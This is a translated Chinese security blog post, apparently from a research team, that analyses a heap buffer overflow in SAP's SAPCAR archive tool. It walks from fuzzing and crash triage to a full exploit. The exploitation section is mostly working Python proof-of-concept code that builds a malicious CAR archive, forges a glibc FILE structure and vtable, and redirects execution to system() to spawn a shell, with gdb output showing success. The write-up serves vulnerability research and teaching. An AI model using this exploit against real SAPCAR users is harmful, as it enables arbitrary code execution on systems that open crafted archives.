【技术分享】SAPCAR堆缓冲区溢出:从crash到exploit

http://p8.qhimg.com/t01d1ddaed6191cbe5d.png

翻译:WisFree

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、介绍

几周之前,我们在SAPCAR中发现了简单的堆缓冲区溢出漏洞。在这篇文章中,我们将会详细讨论该漏洞的技术细节以及漏洞方法。

为此,SAP已经发布了官方安全公告#2441560,并将该问题归类为“潜在的拒绝服务(DoS)”。通过研究发现,我们不仅可以利用这个漏洞来实现代码执行,而且实现起来也相对比较容易。除此之外,我们也希望这篇文章可以让那些对代码利用感兴趣的初学者提供一个很好的参考实例。

在这篇文章中,我们将了解如何通过模糊测试技术来获取到大量崩溃信息,如何找出漏洞的根本成因,以及如何确定漏洞的可利用性。接下来,我们将会使用众所周知的文件指针重写技术来设计出相应的漏洞利用代码。除此之外,本文的最后一章还会给大家介绍glibc 2.24中所采用的漏洞缓解技术细节。

我们认为这是一篇极具教育意义的技术文章,因为如果我们想要对SAP系统管理员发动攻击的话,还需要一种更加可靠的漏洞利用技术。(更多细节请参考4.4章)


二、SAPCAR

SAPCAR是一款针对SAR和CAR文档的命令行工具,而这两种文件格式是SAP专用的文档文件格式,SAP通常都会使用这种格式来发布软件或数据包。

本文所介绍的这个漏洞将会影响SAPCAR的v721.510版本,不过其他产品和版本仍然可能会受到影响,但我们现在只对这个特定版本进行测试。


三、崩溃分析

我们的起始点是那导致SAPCAR代码发生崩溃的507份文件,这些文件由@martingalloar慷慨提供,感谢Martin!这些崩溃信息是通过honggfuzz(一款fuzzer-模糊测试工具)找到的,fuzzer对文档内容列表功能进行了测试,测试过程中需要使用到命令行参数-tvf。

Honggfuzz所创建的文件名中包含某些与崩溃相关的信息,例如程序计数器注册地址,以及终止进程的信号描述。下面给出的是一个文件示例:

SIGSEGV.PC.7ffff6d1ef44.STACK.2d9c8e9f0.CODE.1.ADDR.0x8c4ff0.INSTR.movdqu_-0x50()%rsi),%xmm5.fuzz.verified

在对崩溃记录进行了简单的分析之后,我们发现PC(程序计数器)值重复了很多次,这表明单独的崩溃事件数量可能比崩溃文件的数量要少,也就是相同的崩溃事件可能多次出现。单独PC地址的准确数量可以通过下列命令确定:

$ ls | cut -d '.' -f 3 | uniq | wc -l
13

这是一个非常好的消息,因为我们只用处理13个不同的崩溃点,而不是一开始的507个。

3.1 对崩溃信息进行分类

接下来我们要做的就是确定每一个输入文件导致代码发生崩溃的原因。对于那13个崩溃点,我们只需要在程序运行时绑定一个调试器(Debugger),然后在程序发生崩溃时检查寄存器和内存情况,而且这种方法也适用于输入文件数量较大的情况。

幸运的是,网上有很多工具可以帮助我们完成这些工作。其中一个是一款针对gdb的名叫exploitable的插件,这款插件可以根据严重性和可利用性对崩溃进行分类。为了保证分类结果的有效性,它使用了一系列启发式算法来分析被调试程序的运行状态。

exploitable插件仍然会要求我们通过gdb来运行每一个崩溃文件。为了让整个过程通过自动化的方式实现,我们还需要使用到这款名叫Crashwalk(由Ben Nagy开发)的实用工具。虽然它使用的是相同的gdb插件,但它可以简化整个分析过程,并允许我们以多种形式访问分析结果。安装步骤如下:

$ git clone https://github.com/bnagy/crashwalk.git
$ sudo apt-get install golang-go
$ export GOPATH=$HOME/crashwalk/
$ go get -u github.com/bnagy/crashwalk/cmd/...
$ mkdir src
$ git clone https://github.com/jfoote/exploitable.git src/exploitable

不过Crashwalk在选取文件名的时候存在一些问题,因此我们需要对崩溃文件进行快速重命名,以此来避免文件名中存在特殊字符,然后保证工具的正常运行:

$ ./crashwalk/bin/cwtriage -root crashes/ -match lala -- ./sapcar_721.510_linux_x86_64 -tvf @@

cwtriage将会输出每一个崩溃文件的分析结果,并将分析数据默认保存在crashwalk.db数据库中,我们可以使用cwdump命令来查询这个数据库。

输出结果包括对漏洞可利用性的分类,当然了,分类的准确性还不能保证,因为这个结果只是exploitable插件使用启发式算法得出的,但我们可以根据这个结果来确定需要分析的漏洞顺序。由于我们真正感兴趣的是如何利用那些可利用的漏洞,所以我们首先要查询crashwalk数据库来获取那些可利用的漏洞:

$ ./crashwalk/bin/cwdump crashwalk.db | sed -n -e '/Classification: EXPLOITABLE/,/END SUMMARY/ p'
Classification: EXPLOITABLE
Hash: f5c06ffc7aa3f42a736f4bb7ea700ef9.5f3bf91c3626b65747adc8881231d81b
Command: ./sapcar_721.510_linux_x86_64 -tvf crashes/lala4
Faulting Frame:
   None @ 0x000000000040c58b: in /home/ubuntu/sapcar_721.510_linux_x86_64
Disassembly:
Stack Head (7 entries):
   __GI__IO_unsave_markers   @ 0x00007ffff6bc092a: in /lib/x86_64-linux-gnu/libc-2.23.so (BL)
   _IO_new_file_close_it     @ 0x00007ffff6bbd872: in /lib/x86_64-linux-gnu/libc-2.23.so (BL)
   _IO_new_fclose            @ 0x00007ffff6bb13ef: in /lib/x86_64-linux-gnu/libc-2.23.so (BL)
   None                      @ 0x000000000040c58b: in /home/ubuntu/sapcar_721.510_linux_x86_64
   None                      @ 0x000000000041958b: in /home/ubuntu/sapcar_721.510_linux_x86_64
   None                      @ 0x000000000042bc43: in /home/ubuntu/sapcar_721.510_linux_x86_64
   None                      @ 0x000000000043fc66: in /home/ubuntu/sapcar_721.510_linux_x86_64
Registers:
rax=0x00000000005a8594 rbx=0x00000000005a8594 rcx=0x00007fffffffcb00 rdx=0x0000000000008000 
rsi=0x00007ffff6f07b28 rdi=0x00000000005a8594 rbp=0x0000000000000000 rsp=0x00007fffffffcac8 
 r8=0x0000000000a1c770  r9=0x0000000000000000 r10=0x0000000000000477 r11=0x00007ffff6bb1260 
r12=0x0000000000000000 r13=0x00007ffff0000920 r14=0x0000000000a3070d r15=0x000000000000000e 
rip=0x00007ffff6bc092a efl=0x0000000000010202  cs=0x0000000000000033  ss=0x000000000000002b 
 ds=0x0000000000000000  es=0x0000000000000000  fs=0x0000000000000000  gs=0x0000000000000000 
Extra Data:
   Description: Access violation on destination operand
   Short description: DestAv (8/22)
   Explanation: The target crashed on an access violation at an address matching the destination operand of the instruction. This likely indicates a write access violation, which means the attacker may control the write address and/or value.
---END SUMMARY---

我个人非常喜欢gdb-peda插件,所以我将会在接下来的测试过程中使用到它。当然了,你也可以使用例如gefpwndbg这样的工具,但我目前还没有尝试使用过它们。

通过gdb来运行SAPCAR代码之后,我们将得到下列输出:

[----------------------------------registers-----------------------------------]
RAX: 0x5a8594 (sub    ecx,esi)
RBX: 0x5a8594 (sub    ecx,esi)
RCX: 0x7fffffffcb00 --> 0x5a8594 (sub    ecx,esi)
RDX: 0x8000 
RSI: 0x7ffff6f07b28 --> 0xa2dc30 --> 0x7ffff6f06260 --> 0x0 
RDI: 0x5a8594 (sub    ecx,esi)
RBP: 0x0 
RSP: 0x7fffffffcaf8 --> 0x7ffff6bbd872 (<_IO_new_file_close_it+50>:    test   BYTE PTR [rbx+0x74],0x20)
RIP: 0x7ffff6bc092a (<__GI__IO_unsave_markers+10>:    mov    QWORD PTR [rdi+0x60],0x0)
R8 : 0xa2dc40 --> 0xa304e0 --> 0x0 
R9 : 0x0 
R10: 0x477 
R11: 0x7ffff6bb1260 (<_IO_new_fclose>:    push   r12)
R12: 0x0 
R13: 0x7ffff0000920 --> 0x474e5543432b2b00 ('')
R14: 0xa3056d --> 0x20000000 ('')
R15: 0xe
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff6bc0920 <__GI__IO_unsave_markers>:    cmp    QWORD PTR [rdi+0x60],0x0
   0x7ffff6bc0925 <__GI__IO_unsave_markers+5>:    mov    rax,rdi
   0x7ffff6bc0928 <__GI__IO_unsave_markers+8>:    je     0x7ffff6bc0932 <__GI__IO_unsave_markers+18>
=> 0x7ffff6bc092a <__GI__IO_unsave_markers+10>:    mov    QWORD PTR [rdi+0x60],0x0
   0x7ffff6bc0932 <__GI__IO_unsave_markers+18>:    mov    rdi,QWORD PTR [rax+0x48]
   0x7ffff6bc0936 <__GI__IO_unsave_markers+22>:    test   rdi,rdi
   0x7ffff6bc0939 <__GI__IO_unsave_markers+25>:    je     0x7ffff6bc0965 <__GI__IO_unsave_markers+69>
   0x7ffff6bc093b <__GI__IO_unsave_markers+27>:    test   DWORD PTR [rax],0x100
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffcaf8 --> 0x7ffff6bbd872 (<_IO_new_file_close_it+50>:    test   BYTE PTR [rbx+0x74],0x20)
0008| 0x7fffffffcb00 --> 0x5a8594 (sub    ecx,esi)
0016| 0x7fffffffcb08 --> 0x7fffffffcb50 --> 0x7fffffffcfe0 --> 0x7fffffffe1d0 --> 0x7fffffffe3b0 --> 0x5af800 (mov    QWORD PTR [rsp-0x18],rbx)
0024| 0x7fffffffcb10 --> 0xa30510 ("sapevents.dll")
0032| 0x7fffffffcb18 --> 0x7ffff6bb13ef (<_IO_new_fclose+399>:    mov    edx,DWORD PTR [rbx])
0040| 0x7fffffffcb20 --> 0xa1c790 --> 0xa2dc60 --> 0xa30520 --> 0x20 (' ')
0048| 0x7fffffffcb28 --> 0x7fffffffcb50 --> 0x7fffffffcfe0 --> 0x7fffffffe1d0 --> 0x7fffffffe3b0 --> 0x5af800 (mov    QWORD PTR [rsp-0x18],rbx)
0056| 0x7fffffffcb30 --> 0xa30510 ("sapevents.dll")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
__GI__IO_unsave_markers (fp=fp@entry=0x5a8594) at genops.c:1065

有趣的地方在于,指向FILE结构的指针通常会在堆内存中出现问题。不过在我们的测试过程中,它指向的是文本部分中的某个位置:

gdb-peda$ vmmap 0x5a8594
Start              End                Perm    Name
0x00400000         0x007c9000         r-xp    /home/ubuntu/sapcar_721.510_linux_x86_64

找到了该文件指针的位置并检查了周围内存区域之后,我们可以看到这些数据与输入文件内容非常相似:

gdb-peda$ find 0x5a8594
Searching for '0x5a8594' in: None ranges
Found 1 results, display max 1 items:
 [heap] : 0xa1d8d0 --> 0x5a8594 (sub    ecx,esi)
gdb-peda$ x/16xg 0xa1d8d0 - 64
0xa1d890:    0x6d942db80cb306f7    0xb31049e79a5e9c99
0xa1d8a0:    0x5bceaebdc9b16ad3    0x05d38708178849d0
0xa1d8b0:    0x39c05825344a4838    0x00000000005b6750
0xa1d8c0:    0xdacaadadcf57bed4    0x4806b9a200000002
0xa1d8d0:    0x00000000005a8594    0x00007ffff6593fdc
0xa1d8e0:    0x00007ffff6594088    0x30302e3220524143
0xa1d8f0:    0x000081b6f6594752    0x0000000000043200
0xa1d900:    0x00007fff00000000    0x0000000035be41f6

我们可以通过grep命令得知这些值其实都存在于我们的测试文件中,准确说来,它们都位于测试文件的结尾部分:

$ grep -obUaP "xa2xb9x06x48x94x85x5a" crashes/lala4
30501:��H��Z
$ xxd crashes/lala4 | grep 7720
00007720: da7a 62ed e2a2 b906 4894 855a            .zb.....H..Z

那么我们可以修改堆内存中的数据吗?我们可以通过向输入文件结尾添加数据并重新运行代码来得到答案:

$ echo AAAABBBB >> crashes/lala4

这一次的崩溃发生在_IO_feof,而我们现在可以完全控制文件指针的值了:

Stopped reason: SIGSEGV
_IO_feof (fp=0x42414141415a8594) at feof.c:35

3.2 导致漏洞出现的根本原因

使用bt命令查看了整个栈的back-trace之后,我们发现了调用feof的函数:

   0x4386f0:    push   rbp
   0x4386f1:    mov    rbp,rsp
   0x4386f4:    mov    QWORD PTR [rbp-0x8],r13
   0x4386f8:    mov    r13,rdi
   0x4386fb:    mov    QWORD PTR [rbp-0x18],rbx
   0x4386ff:    mov    QWORD PTR [rbp-0x10],r12
   0x438703:    sub    rsp,0x20
   0x438707:    mov    r12,rcx
   0x43870a:    mov    rcx,QWORD PTR [r13+0x18]
   0x43870e:    mov    rdi,rsi
   0x438711:    mov    rbx,rdx
   0x438714:    mov    esi,0x1
   0x438719:    call   0x40b3e0 <fread@plt>
   0x43871e:    cmp    rbx,rax
   0x438721:    mov    QWORD PTR [r12],rax
   0x438725:    je     0x438734
   0x438727:    mov    rdi,QWORD PTR [r13+0x18]
   0x43872b:    call   0x40b340 <feof@plt>

接下来,我们在fread处(0x438719)设置了一个断点,然后重新运行程序。除此之外,我们需要弄清楚原始的文件指针发生了什么,所以我们还设置了一个检测点,当它被重写时我们要暂停程序的执行。我们可以通过检查那些传递给文件IO函数的参数来得到文件指针的原始地址。

Breakpoint 2, __GI__IO_fread (buf=0x7fffffffcb10, size=0x1, count=0x2, fp=0xa2da10) at iofread.c:31
gdb-peda$ find 0xa2da10
Searching for '0xa2da10' in: None ranges
Found 1 results, display max 1 items:
[heap] : 0xa1d8d0 --> 0xa2da10 --> 0xfbad2488 
gdb-peda$ watch *0xa1d8d0
Hardware watchpoint 1: *0xa1d8d0

我们可以看到第一个检测点,这部分数据是正确的:

Hardware watchpoint 1: *0xa1d8d0
Old value = 0x0
New value = 0xa2da10
0x000000000043859f in ?? ()

而第二个检测点则出现了溢出的情况:

Hardware watchpoint 1: *0xa1d8d0
Old value = 0xa2da10
New value = 0x415a8594
gdb-peda$ bt
#0  0x00007ffff6c3a680 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
#1  0x00007ffff6bbcf79 in __GI__IO_file_xsgetn (fp=0xa2da10, data=<optimized out>, n=0xb5ef) at fileops.c:1434
#2  0x00007ffff6bb2236 in __GI__IO_fread (buf=<optimized out>, size=0x1, count=0xb5ef, fp=0xa2da10) at iofread.c:38
#3  0x000000000043871e in ?? ()
#4  0x000000000040c01a in ?? ()
#5  0x000000000040dc5f in ?? ()
#6  0x0000000000418e23 in ?? ()
#7  0x000000000042bc43 in ?? ()
#8  0x000000000043fc66 in ?? ()
#9  0x00007ffff6b64830 in __libc_start_main (main=0x43ffb0, argc=0x3, argv=0x7fffffffe498, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe488)
    at ../csu/libc-start.c:291

于是,我们可以看到fread被调用并读取了0xb5ef字节,并导致了文件指针被重写。检测数据如下:

fread  size          contents
-----------------------------------------------------------------------------
#1     0x8 bytes     File Format / Version = CAR 2.00
#2     0x22 bytes    RG (regular file)
#3     0xd bytes     File name = sapevents.dll
#4     0x2 bytes     Block type - SAPCAR_BLOCK_TYPE_COMPRESSED = "DA"
#5     0x4 bytes     ????
#6     0x2 bytes     Block type - SAPCAR_BLOCK_TYPE_COMPRESSED = "DA"
#7     0x4 bytes     ????
#8     0x2 bytes     Block type - INVALID TYPE = "D>"
#9     0x20 bytes    ????
#10    0xb5ef bytes  User controlled data that will overwrite stuff on the heap

有效的数据块类型为DA、ED、UD和UE。当文件中包含其他标识符时,程序将会额外读取32个字节,其中包含某些文件元数据(细节内容尚不知晓)。但是在对输入内容的最后四个字节数据进行了分析之后,我们发现它包含的是下一个fread的大小:

gdb-peda$ x/32xb 0xa2dc62
0xa2dc62:    0x01    0xac    0xa6    0x08    0x3c    0x27    0xb8    0xc4
0xa2dc6a:    0x62    0x28    0x9d    0x19    0xe2    0xd3    0xa3    0xc3
0xa2dc72:    0xcb    0x94    0x5d    0xec    0x02    0x36    0x7b    0x9f
0xa2dc7a:    0x52    0xb8    0x2a    0xfb    0x1f    0x6a    0xef    0xb5

在输入文件中修改了这些字节数据之后,我们将能够控制传递给fread的数据大小(最多2个字节)。通过对之前malloc的访问以及程序执行流的监控,我们找到了导致漏洞出现的原因:

0x40c01e:    mov    rcx,r14
   0x40c021:    mov    esi,0x1100
   0x40c026:    mov    rdi,r14
   0x40c029:    call   0x4a73a0
--->
   0x4a73a0:    push   rbp
   0x4a73a1:    mov    rbp,rsp
   0x4a73a4:    mov    QWORD PTR [rbp-0x28],rbx
   0x4a73a8:    mov    QWORD PTR [rbp-0x20],r12
   0x4a73ac:    mov    rbx,rcx
   0x4a73af:    mov    QWORD PTR [rbp-0x18],r13
   0x4a73b3:    mov    QWORD PTR [rbp-0x10],r14
   0x4a73b7:    mov    r14,rdi
   0x4a73ba:    mov    QWORD PTR [rbp-0x8],r15
   0x4a73be:    mov    edi,esi
   0x4a73c0:    sub    rsp,0x40
   0x4a73c4:    mov    r12d,esi
   0x4a73c7:    mov    r15,rdx
   0x4a73ca:    call   0x459720
--->
   0x45973d:    mov    r13d,edi
   [...]
   0x45977d:    movsxd rdi,r13d
   0x459780:    call   0x40b0c0 <malloc@plt>

现在,引起溢出的原因已经很明显了:我们将任意大小(最大为0xffff)的数据拷贝到了一个大小只有0x1100的缓冲区中。因为当数据块类型未知时,程序只会根据输入文件中的元数据大小来动态分配缓冲区空间。

通过整合上述这些内容,我们就可以设计一个简单的漏洞利用技术来实现代码执行了。


四、漏洞利用

由于我们可以重写指向FILE结构的指针,因此漏洞的利用也是非常简单的。在设计漏洞利用方法之前,我们首先要了解这个名叫how2heap的库,并且读一下Kees Cook的这篇关于利用FILE结构的文章【点我阅读】。

核心思想如下:当fopen被调用时,系统会分配一个新的FILE结构。glibc将会分配一个内部结构,其中包含结构体_IO_FILE和一个指向另一个结构体(调用_IO_jump_t)的指针:

Breakpoint 1, __GI__IO_fread (buf=0xa1d8e8, size=0x1, count=0x8, fp=0xa2da10) at iofread.c:31
gdb-peda$ p *fp
$2 = {
  _flags = 0xfbad2488, 
  _IO_read_ptr = 0x0, 
  _IO_read_end = 0x0, 
  _IO_read_base = 0x0, 
  _IO_write_base = 0x0, 
  _IO_write_ptr = 0x0, 
  _IO_write_end = 0x0, 
  _IO_buf_base = 0x0, 
  _IO_buf_end = 0x0, 
  _IO_save_base = 0x0, 
  _IO_backup_base = 0x0, 
  _IO_save_end = 0x0, 
  _markers = 0x0, 
  _chain = 0x7ffff6f08540 <_IO_2_1_stderr_>, 
  _fileno = 0x3, 
  _flags2 = 0x0, 
  _old_offset = 0x0, 
  _cur_column = 0x0, 
  _vtable_offset = 0x0, 
  _shortbuf = "", 
  _lock = 0xa2daf0, 
  _offset = 0xffffffffffffffff, 
  _codecvt = 0x0, 
  _wide_data = 0xa2db00, 
  _freeres_list = 0x0, 
  _freeres_buf = 0x0, 
  __pad5 = 0x0, 
  _mode = 0x0, 
  _unused2 = '00' <repeats 19 times>
}
gdb-peda$ x/xg 0xa2da10 + sizeof(*fp)
0xa2dae8:    0x00007ffff6f066e0
gdb-peda$ x/xg 0x00007ffff6f066e0
0x7ffff6f066e0 <_IO_file_jumps>:    0x0000000000000000
gdb-peda$ p _IO_file_jumps
$6 = {
  __dummy = 0x0, 
  __dummy2 = 0x0, 
  __finish = 0x7ffff6bbd9c0 <_IO_new_file_finish>, 
  __overflow = 0x7ffff6bbe730 <_IO_new_file_overflow>, 
  __underflow = 0x7ffff6bbe4a0 <_IO_new_file_underflow>, 
  __uflow = 0x7ffff6bbf600 <__GI__IO_default_uflow>, 
  __pbackfail = 0x7ffff6bc0980 <__GI__IO_default_pbackfail>, 
  __xsputn = 0x7ffff6bbd1e0 <_IO_new_file_xsputn>, 
  __xsgetn = 0x7ffff6bbcec0 <__GI__IO_file_xsgetn>, 
  __seekoff = 0x7ffff6bbc4c0 <_IO_new_file_seekoff>, 
  __seekpos = 0x7ffff6bbfa00 <_IO_default_seekpos>, 
  __setbuf = 0x7ffff6bbc430 <_IO_new_file_setbuf>, 
  __sync = 0x7ffff6bbc370 <_IO_new_file_sync>, 
  __doallocate = 0x7ffff6bb1180 <__GI__IO_file_doallocate>, 
  __read = 0x7ffff6bbd1a0 <__GI__IO_file_read>, 
  __write = 0x7ffff6bbcb70 <_IO_new_file_write>, 
  __seek = 0x7ffff6bbc970 <__GI__IO_file_seek>, 
  __close = 0x7ffff6bbc340 <__GI__IO_file_close>, 
  __stat = 0x7ffff6bbcb60 <__GI__IO_file_stat>, 
  __showmanyc = 0x7ffff6bc0af0 <_IO_default_showmanyc>, 
  __imbue = 0x7ffff6bc0b00 <_IO_default_imbue>
}

由于我们可以控制文件指针以及输入文件中的数据,我们就可以伪造一个FILE结构并设置一个自定义的vtable指针。

我们将使用pysap库来创建CAR文档,我们可以使用pip命令安装pysap:

$ pip install pysap

4.1 重写文件指针

第一步就是用任意值重写文件指针。我们首先用0x1100字节数据填充缓冲区,然后又添加了某些数据填充了堆空间,指针成功分配之后我们就要重写指针了。

PoC代码如下:

#!/usr/bin/env python
import struct
from scapy.packet import Raw
from pysap.SAPCAR import *
def overwrite_FILE_pointer(address):
    fill_buf = "A" * 0x1100
    gap_to_fp = "B" * 0x38
    fp = struct.pack("<Q", address)
    return fill_buf + gap_to_fp + fp
def write_exp(data):
    with open("sapevents.dll", "w") as fd:
        fd.write("Some string to compress")
    f = SAPCARArchive("poc.car", mode="wb", version=SAPCAR_VERSION_200)
    f.add_file("sapevents.dll")
    f._sapcar.files0[0].blocks.append(Raw("DAx08x00x00x00"))
    f._sapcar.files0[0].blocks.append(Raw("DAx84x65x00x00"))
    f._sapcar.files0[0].blocks.append(Raw("D>" + "x00"*32 + "xd0xd0"))
    f._sapcar.files0[0].blocks.append(Raw(data))
    f.write()
def main():
    write_exp(overwrite_FILE_pointer(0x4242424243434343))
if __name__ == "__main__":
main()

运行PoC后会创建一个poc.car文件,然后绑定gdb并运行该文件:

Stopped reason: SIGSEGV
_IO_feof (fp=0x4242424243434343) at feof.c:35

4.2 控制执行流

接下来要存储我们伪造的FILE结构,我们的运行环境禁用了ASLR,因此我们只能使用硬编码的缓冲区地址。

#!/usr/bin/env python
import struct
from scapy.packet import Raw
from pysap.SAPCAR import *
FILE_STRUCT_SIZE = 0xd8
BUF_ADDRESS = 0xa1c798
def build_IO_FILE_struct():
    file_struct = ""
    file_struct += struct.pack("<Q", 0x80018001) # _flags
    file_struct += struct.pack("<Q", 0x41414141) # _IO_read_ptr
    file_struct += struct.pack("<Q", 0x42424242) # _IO_read_end
    file_struct += struct.pack("<Q", 0x43434343) # _IO_read_base
    file_struct += struct.pack("<Q", 0x44444444) # _IO_write_base
    file_struct += struct.pack("<Q", 0x45454545) # _IO_write_ptr
    file_struct += struct.pack("<Q", 0x46464646) # _IO_write_end
    file_struct += struct.pack("<Q", 0x47474747) # _IO_buf_base
    file_struct += struct.pack("<Q", 0x48484848) # _IO_buf_end
    file_struct += struct.pack("<Q", 0x49494949) # _IO_save_base
    file_struct += struct.pack("<Q", 0x50505050) # _IO_backup_base
    file_struct += struct.pack("<Q", 0x51515151) # _IO_save_end
    file_struct += struct.pack("<Q", 0x52525252) # _markers
    file_struct += struct.pack("<Q", 0x53535353) # _chain
    file_struct += struct.pack("<L", 0x54545454) # _fileno
    file_struct += struct.pack("<L", 0x55555555) # _flags2
    file_struct += struct.pack("<Q", 0x56565656) # _old_offset
    file_struct += struct.pack("<H", 0x5757)     # _cur_column
    file_struct += struct.pack("<H", 0x58)       # _vtable_offset
    file_struct += struct.pack("<L", 0x59595959) # _shortbuf
    file_struct += struct.pack("<Q", 0x60606060) # _lock
    file_struct += struct.pack("<Q", 0x61616161) # _offset
    file_struct += struct.pack("<Q", 0x62626262) # _codecvt
    file_struct += struct.pack("<Q", 0x63636363) # _wide_data
    file_struct += struct.pack("<Q", 0x64646464) # _freeres_list
    file_struct += struct.pack("<Q", 0x65656565) # _freeres_buf
    file_struct += struct.pack("<Q", 0x66666666) # __pad5
    file_struct += struct.pack("<L", 0x67676767) # _mode
    file_struct += "A" * 20                      # _unused2
    return file_struct
def build_IO_jump_t_vtable():
    vtable = ""
    vtable += struct.pack("<Q", BUF_ADDRESS + 2 * FILE_STRUCT_SIZE + 8)
    vtable += struct.pack("<Q", 0x41424344) * 21
    return vtable
def overwrite_FILE_pointer(address):
    fake_structure = build_IO_FILE_struct() * 2
    vtable = build_IO_jump_t_vtable()
    fill_buf = "A" * (0x1100 - len(fake_structure) - len(vtable))
    gap_to_fp = "B" * 0x38
    fp = struct.pack("<Q", address)
    return fake_structure + vtable + fill_buf + gap_to_fp + fp
def write_exp(data):
    with open("sapevents.dll", "w") as fd:
        fd.write("Some string to compress")
    f = SAPCARArchive("poc.car", mode="wb", version=SAPCAR_VERSION_200)
    f.add_file("sapevents.dll")
    f._sapcar.files0[0].blocks.append(Raw("DAx08x00x00x00"))
    f._sapcar.files0[0].blocks.append(Raw("DAx84x65x00x00"))
    f._sapcar.files0[0].blocks.append(Raw("D>" + "x00"*32 + "xd0xd0"))
    f._sapcar.files0[0].blocks.append(Raw(data))
    f.write()
def main():
    write_exp(overwrite_FILE_pointer(BUF_ADDRESS + FILE_STRUCT_SIZE))
if __name__ == "__main__":
main()

我们创建了一个新的文档,然后再次运行代码。这一次我们将控制RIP并重定向执行流:

Stopped reason: SIGSEGV
0x0000000041424344 in ?? ()
gdb-peda$ bt
#0  0x0000000041424344 in ?? ()
#1  0x00007ffff6bb129f in _IO_new_fclose (fp=0xa1c870) at iofclose.c:62
#2  0x000000000040c58b in ?? ()
#3  0x000000000041958b in ?? ()
#4  0x000000000042bc43 in ?? ()
#5  0x000000000043fc66 in ?? ()
#6  0x00007ffff6b64830 in __libc_start_main (main=0x43ffb0, argc=0x3, argv=0x7fffffffe488, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe478)
at ../csu/libc-start.c:291

除此之外,我们还可以检查文件指针来确定我们伪造的结构体存储正确了:

gdb-peda$ p *(FILE *)0xa1c870
$1 = {
  _flags = 0x80018001, 
  _IO_read_ptr = 0x41414141 <error: Cannot access memory at address 0x41414141>, 
  _IO_read_end = 0x42424242 <error: Cannot access memory at address 0x42424242>, 
  _IO_read_base = 0x43434343 <error: Cannot access memory at address 0x43434343>, 
  _IO_write_base = 0x44444444 <error: Cannot access memory at address 0x44444444>, 
  _IO_write_ptr = 0x45454545 <error: Cannot access memory at address 0x45454545>, 
  _IO_write_end = 0x46464646 <error: Cannot access memory at address 0x46464646>, 
  _IO_buf_base = 0x47474747 <error: Cannot access memory at address 0x47474747>, 
  _IO_buf_end = 0x48484848 <error: Cannot access memory at address 0x48484848>, 
  _IO_save_base = 0x49494949 <error: Cannot access memory at address 0x49494949>, 
  _IO_backup_base = 0x50505050 <error: Cannot access memory at address 0x50505050>, 
  _IO_save_end = 0x51515151 <error: Cannot access memory at address 0x51515151>, 
  _markers = 0x52525252, 
  _chain = 0x53535353, 
  _fileno = 0x54545454, 
  _flags2 = 0x55555555, 
  _old_offset = 0x56565656, 
  _cur_column = 0x5757, 
  _vtable_offset = 0x58, 
  _shortbuf = "", 
  _lock = 0x60606060, 
  _offset = 0x61616161, 
  _codecvt = 0x62626262, 
  _wide_data = 0x63636363, 
  _freeres_list = 0x64646464, 
  _freeres_buf = 0x65656565, 
  __pad5 = 0x66666666, 
  _mode = 0x67676767, 
  _unused2 = 'A' <repeats 20 times>
}

4.3 生成Shell

成功控制了执行流之后,我们有多种方法来生成Shell。其中一种针对懒人的方法可以通过system("/bin/sh")实现。具体如下:

$ objdump -M intel -d sapcar_721.510_linux_x86_64 | grep "<system@plt>"
000000000040bbe0 <system@plt>:
  455db1: e8 2a 5e fb ff         call   40bbe0 <system@plt>

此时,我们可以看到RDI寄存器中的指针指向的是伪造FILE结构中的标识字符串:

Stopped reason: SIGSEGV
0x0000000041424344 in ?? ()
gdb-peda$ x/xg $rdi
0xa1c870:  0x0000000080018001

这也就意味着我们可以在这个缓冲区中存在一个sh字符串,然后重定向执行流并让它调用system命令来拿到Shell。

如果我们修改完后执行程序,我们会发现系统将抛出一个错误(_IO_feof中的分段错误):

=> 0x7ffff6bb9912 <_IO_feof+34>:  cmp    r10,QWORD PTR [r8+0x8]
gdb-peda$ info r r8
r8             0x60606060  0x60606060

这是因为我们修改了标识符,而此时文件函数将会尝试访问_lock指针。我们可以使用之前正确的标识符并在后面添加“;sh”来执行Shell。

修改如下:

file_struct += "x01x80;shx00x00x00" # _flags

然后修改vtable指针:

vtable += struct.pack("<Q", 0x455db1) * 21

运行下列代码之后,我们就成功拿到了Shell:

gdb-peda$ r -vtf poc.car
Starting program: /home/ubuntu/sapcar_721.510_linux_x86_64 -vtf poc.car
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
SAPCAR: processing archive poc.car (version 2.00)
-rw-rw-r--          23    25 Apr 2017 21:18 sapevents.dll
[New process 14925]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
process 14925 is executing new program: /bin/dash
sh: 1: �: not found
[New process 14926]
process 14926 is executing new program: /bin/dash
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)

五、参考资料

[1] https://www.coresecurity.com/advisories/sap-sapcar-heap-based-buffer-overflow-vulnerability 

[2] https://github.com/google/honggfuzz 

[3] https://github.com/jfoote/exploitable 

[4] https://github.com/bnagy/crashwalk 

[5] https://github.com/longld/peda 

[6] https://github.com/hugsy/gef 

[7] https://github.com/pwndbg/pwndbg 

[8] https://github.com/shellphish/how2heap 

[9] https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/ 

[10] https://github.com/CoreSecurity/pysap 

[11] https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=commitdiff;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51;hp=64ba17317dc9343f0958755ad04af71ec3da637b 

(完)